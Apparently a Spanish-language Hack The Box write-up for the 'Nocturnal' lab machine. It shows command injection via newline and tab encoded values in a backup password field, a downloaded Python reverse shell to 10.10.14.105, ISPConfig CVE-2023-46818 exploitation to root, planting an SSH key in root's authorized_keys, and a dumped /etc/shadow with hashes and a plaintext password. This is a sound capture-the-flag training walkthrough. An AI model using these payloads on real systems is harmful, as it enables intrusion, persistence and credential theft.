        if (strpos($logContents, 'zip error') === false) {
            echo "<div class='backup-success'>";
            echo "<p>Backup created successfully.</p>";
            echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
            echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
            echo "</div>";
        } else {
            echo "<div class='error-message'>Error creating the backup.</div>";
        }
        unlink($logFile);
    }
}
?>

Ingresamos salto de linea despues de la contrasena seguido de nuestro comando a ejecutar, para espacios utilizamos tabulaciones.

1
2
%0A -> \n
%09 -> \t

Construimos un comando para realizar una solicitud con curl a google.com. Se muestra una representacion del comando al ejecutarse la creacion del backup con zip.

1
2
3
4
5
6
# Request
123123%0Acurl%09google.com

# Command for backup
zip -x './backups/*' -r -P "123123\n
curl\tgoogle.com" "backup-date.zip" > "/tmp/backup_something.log" 2>&1 &

Tras enviar la solicitud este muestra el output de la ejecucion por lo que logramos inyectar nuestro comando.

image

Shell

Generamos un archivo con shells y ejecutamos un servidor http.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
❯ curl http://127.0.0.1:8000/10.10.14.105:1338 > file.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3808  100  3808    0     0   463k      0 --:--:-- --:--:-- --:--:--  464k
❯ cat file.sh| head -n 10
if command -v python > /dev/null 2>&1; then 
	python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.105",1338)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
	exit;
fi

if command -v python2 > /dev/null 2>&1; then 
	python2 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.105",1338)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
	exit;
fi

❯ httphere .
[sudo] password for kali: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Realizamos la descarga del archivo y lo ejecutamos, en dos solicitudes distintas.

1
2
3
4
5
6
7
# password=123\n
# \tcurl\t10.10.14.105/file.sh\t-o\tbackups/file.sh&backup=
password=123%0A%09curl%0910.10.14.105/file.sh%09-o%09backups/file.sh&backup=

# password=123\n
# \tbash\tbackups/file.sh&backup=
password=123%0A%09bash%09backups/file.sh&backup=

www-data -> Tobias

Tras la ejecucion logramos el acceso como www-data, con ello tambien logramos el acceso a la base de datos y a Tobias.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.105] from nocturnal.htb [10.10.11.64] 38900
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ pwd
/var/www/nocturnal.htb
$ ls
admin.php
backups
dashboard.php
file.sh
index.php
login.php
logout.php
nocturnal_database.db
register.php
style.css
uploads
view.php
$

Privesc

En la maquina encontramos varios puertos a la escucha localmente, nos llama la atencion el puerto 8080.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
tobias@nocturnal:~$ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tobias@nocturnal:~$

Port Forwarding

Realizamos Port Forwarding por SSH al puerto 8080.

1
ssh tobias@nocturnal.htb -L 8081:127.0.0.1:8080

Al visitar este puerto nos muestra el login de ISPConfig.

image

Logramos ingresar con el usuario admin y la contrasena de Tobias.

1
admin : slowmotionapocalypse

image

CVE-2023-46818

Encontramos que la version es ISPConfig 3.2.10p1, tras realizar una busqueda de vulnerabilidades encontramos que es afectada por Code Injection (CVE-2023-46818) en la edicion del idioma de la plataforma.

image

Ejecutamos un exploit para esta vulnerabilidad: CVE-2023-46818 exploit. Vemos que se ejecuta como root y realizamos la lectura de la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
❯ python cve.py http://127.0.0.1:8081/ admin slowmotionapocalypse
[+] Target URL: http://127.0.0.1:8081/
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell

ispconfig-shell# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)


ispconfig-shell# cat /root/root.txt
364f9b9886b0ac2d95f14452db473eb1


ispconfig-shell#

Shell

Generamos una clave publica y privada para Tobias.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
tobias@nocturnal:~$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/tobias/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/tobias/.ssh/id_rsa
Your public key has been saved in /home/tobias/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:UrcrYbYpOJ5ePPrmVhUVVScAAdC+sI/ZDf3UIK31doc tobias@nocturnal
The key's randomart image is:
+---[RSA 3072]----+
|      .o..o+++o.o|
|        . .    ..|
|       .. .o     |
|      ....o.+    |
|      .oS+.+ + . |
|     o.+++o.. E o|
|    o =*+o.o . ..|
|   . ==oo.. .    |
|   .==o          |
+----[SHA256]-----+
tobias@nocturnal:~$

Agregamos la clave publica al archivo authorized_keys de root.

1
2
3
4
ispconfig-shell# cat /home/tobias/.ssh/id_rsa.pub > /root/.ssh/authorized_keys


ispconfig-shell#

Accedimos como root localmente, logrando obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
tobias@nocturnal:~$ ssh root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:zJyY0Wtv84Ba2PGoI5oYy3bZFR62HOeElLX8ebtuk4A.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)
[... snip ...]
root@nocturnal:~# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@nocturnal:~# cat root.txt 
364f9b9886b0ac2d95f14452db473eb1
root@nocturnal:~#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
root:$6$sJtQT08ZefRr6Awp$DBlWukQpaXmhYmGm52nQIqvRLc9DyXwxbDFM9F87xQcxX7B.e82r2/g7L3KZc4m7ywzuu6KGQsNi6vpguIXvi/:20014:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:20000:0:99999:7:::
sshd:*:20000:0:99999:7:::
systemd-coredump:!!:20000::::::
tobias:$6$kg9idJil/duVwNce$/29r1quOnEmdLDmeujzUUioimkjZTR/YqjiIk74u5K4X6N4NouhWoL4d3wQ4DZQpHnqZ1URYVATEb5/gz2AGV1:20014:0:99999:7:::
lxd:!:20000::::::
mysql:!:20013:0:99999:7:::
ispapps:!:20013:0:99999:7:::
ispconfig:!:20013:0:99999:7:::
smmta:*:20014:0:99999:7:::
smmsp:*:20014:0:99999:7:::
_laurel:!:20165::::::
Share on

Dany Sucuc
WRITTEN BY
sckull